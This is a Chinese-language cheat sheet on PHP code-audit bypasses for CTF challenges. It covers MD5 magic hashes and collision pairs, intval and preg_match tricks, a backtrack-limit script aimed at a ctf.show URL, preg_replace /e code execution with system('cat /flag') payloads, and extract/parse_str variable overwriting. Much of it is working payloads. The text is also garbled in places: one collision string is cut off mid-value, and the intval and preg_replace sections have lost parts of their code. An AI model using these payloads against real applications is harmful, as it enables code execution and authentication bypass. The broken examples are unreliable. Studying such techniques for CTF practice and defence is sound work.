PHP代码审计套路汇总(一)
审计代码,我们输入的不能相等,但md5却需要相等,这明显的就是利用Hash的比较缺陷来做
我们只要找出两个数再md5加密后都为0e开头的即可,常用的有以下几种
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675
所以构造a=QNKCDZO&b=s878926199a即可绕过
0x01:md5
第一种:md5函数绕过
一、md5()函数获取不到数组的值,默认数组为0
二、sha1()函数无法处理数组类型,将报错并返回false
payload:
name[]=1&password[]=2
注意这里是===,不是==,所以这里采用md5()函数获取不到数组的值,默认数组为0这个特性来做,payload:
username[]=1&password[]=2
第二种:md5强类型绕过
(string)$_POST['a1']!==(string)$_POST['a2'] && md5($_POST['a1'])===md5($_POST['a2'])}
例如这段代码,使用数组就不可行,因为最后转为字符串进行比较,所以只能构造两个MD5值相同的不同字符串.
两组经过url编码后的值
#1 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 #2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
0x03:intval函数绕过
第一个特性:
0
第二个特性:
例如:
payload如下:
?num=0x117c ?num=010574
除此之外,这个函数还可以使用小数点来进行操作
第三个特性:
如果$base为0直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换,但前提是进行弱类型比较
例如:
payload:
?num=4476e1
0x04:preg_match函数绕过
第一种:/m
if(preg_match('/^php$/im',$a))
/m 多行匹配,但是当出现换行符 %0a的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。
第二种:回溯绕过
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限
回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF
import requests url = 'http://3638bf4e-f63d-477c-95eb-ba023f279de8.chall.ctf.show:8080/' data = { 'f':'very'*250000+'ctfshow' } reponse = requests.post(url,data=data) print(reponse.text)
0x05: preg_replace /e 模式下的代码执行
/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行
'id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
这里的代码便涉及到了preg_replace /e 模式下的代码执行
直接放payload:
\S*=${phpinfo()}
得到flag
?\S*=${eval(getFlag())}&cmd=system('cat /flag'); #最后的分号要加,除此之外,也可以: ?\S*=${eval($_POST[lemon])} #POST DATA lemon=system('cat /flag');
0x06:变量覆盖
第一种:extract函数、parse_str函数
extract() 函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖
POST方法传输进来的值通过extrace()函数处理,直接传入以POST的方式传入pass=1&thepassword_123=1就可以进行将原本的变量覆盖,并且使两个变量相等即可。
还有就是这两个函数如果结合起来使用,也会造成变量覆盖
代码中同时含有parse_str和extract($_POST)可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:
?_POST[key1]=36d&_POST[key2]=36d
第二种:$$变量覆盖
$$变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用$GLOBALS(引用全局作用域中可用的全部变量)来做题